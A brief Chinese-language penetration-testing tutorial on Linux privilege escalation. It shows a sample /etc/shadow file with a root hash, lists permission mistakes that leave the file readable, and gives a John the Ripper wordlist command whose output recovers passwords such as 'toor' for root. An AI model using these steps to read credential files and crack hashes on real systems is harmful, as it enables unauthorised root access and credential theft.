# 破解明文密码提权

## 提权原理

大多数linux系统的密码都和/etc/passwd和/etc/shadow这两个配置文件息息相关。passwd里面储存了用户，shadow里面是密码的hash。出于安全考虑passwd是全用户可读，root可写的。shadow是仅root可读写的，当管理员的passwd和shadow一些权限配置不当就可能会导致提权

```
root:$6$LwlZWlnJgf52wOtH$qvGJtjfQlKoHyEy2Igc1BWb7TSZMDk/IMIHRpZwo6rRH3snVhTlRSR9N1dUWbEt6ZJO/s41awkv1GylQjZ7k2/::0:99999:7:::
bin:*:17632:0:99999:7:::
daemon:*:17632:0:99999:7:::
adm:*:17632:0:99999:7:::
lp:*:17632:0:99999:7:::
sync:*:17632:0:99999:7:::
shutdown:*:17632:0:99999:7:::
halt:*:17632:0:99999:7:::
mail:*:17632:0:99999:7:::
operator:*:17632:0:99999:7:::
games:*:17632:0:99999:7:::
```

## 提权环境

主要是查看当前的shadow文件是否可以读取，主要有以下几种方式

1、赋予了文件777权限
2、可以使用sudo查看
3、cat等命令赋予了SUID权限

## 提权复现

这里主要说一下root的账号密码怎么破解即可

```
john -wordlist=2.txt + shadow.txt
```

```
C:\Users\DaoEr\Desktop\john-1.9.0-jumbo-1-win64\run>john.exe --wordlist=C:\Users\DaoEr\Desktop\1.txt C:\Users\DaoEr\Desktop\shadow.txt
Warning: detected hash type "sha512crypt", but the string is also recognized as "sha512crypt-opencl"
Use the "--format=sha512crypt-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 4 password hashes with 4 different salts (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
No password hashes left to crack (see FAQ)

C:\Users\DaoEr\Desktop\john-1.9.0-jumbo-1-win64\run>john.exe --wordlist=C:\Users\DaoEr\Desktop\1.txt C:\Users\DaoEr\Desktop\shadow.txt
Warning: detected hash type "sha512crypt", but the string is also recognized as "sha512crypt-opencl"
Use the "--format=sha512crypt-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 4 password hashes with 4 different salts (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 20 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 7 candidates left, minimum 80 needed for performance.
123456           (ituser)
Admin@123        (wanli)
toor             (root)
toor             (hack)
4g 0:00:00:00 DONE (2023-02-23 19:43) 307.6g/s 538.4p/s 2153c/s 2153C/s root..Admin@123
Use the "--show" option to display all of the cracked passwords reliably
Session completed
```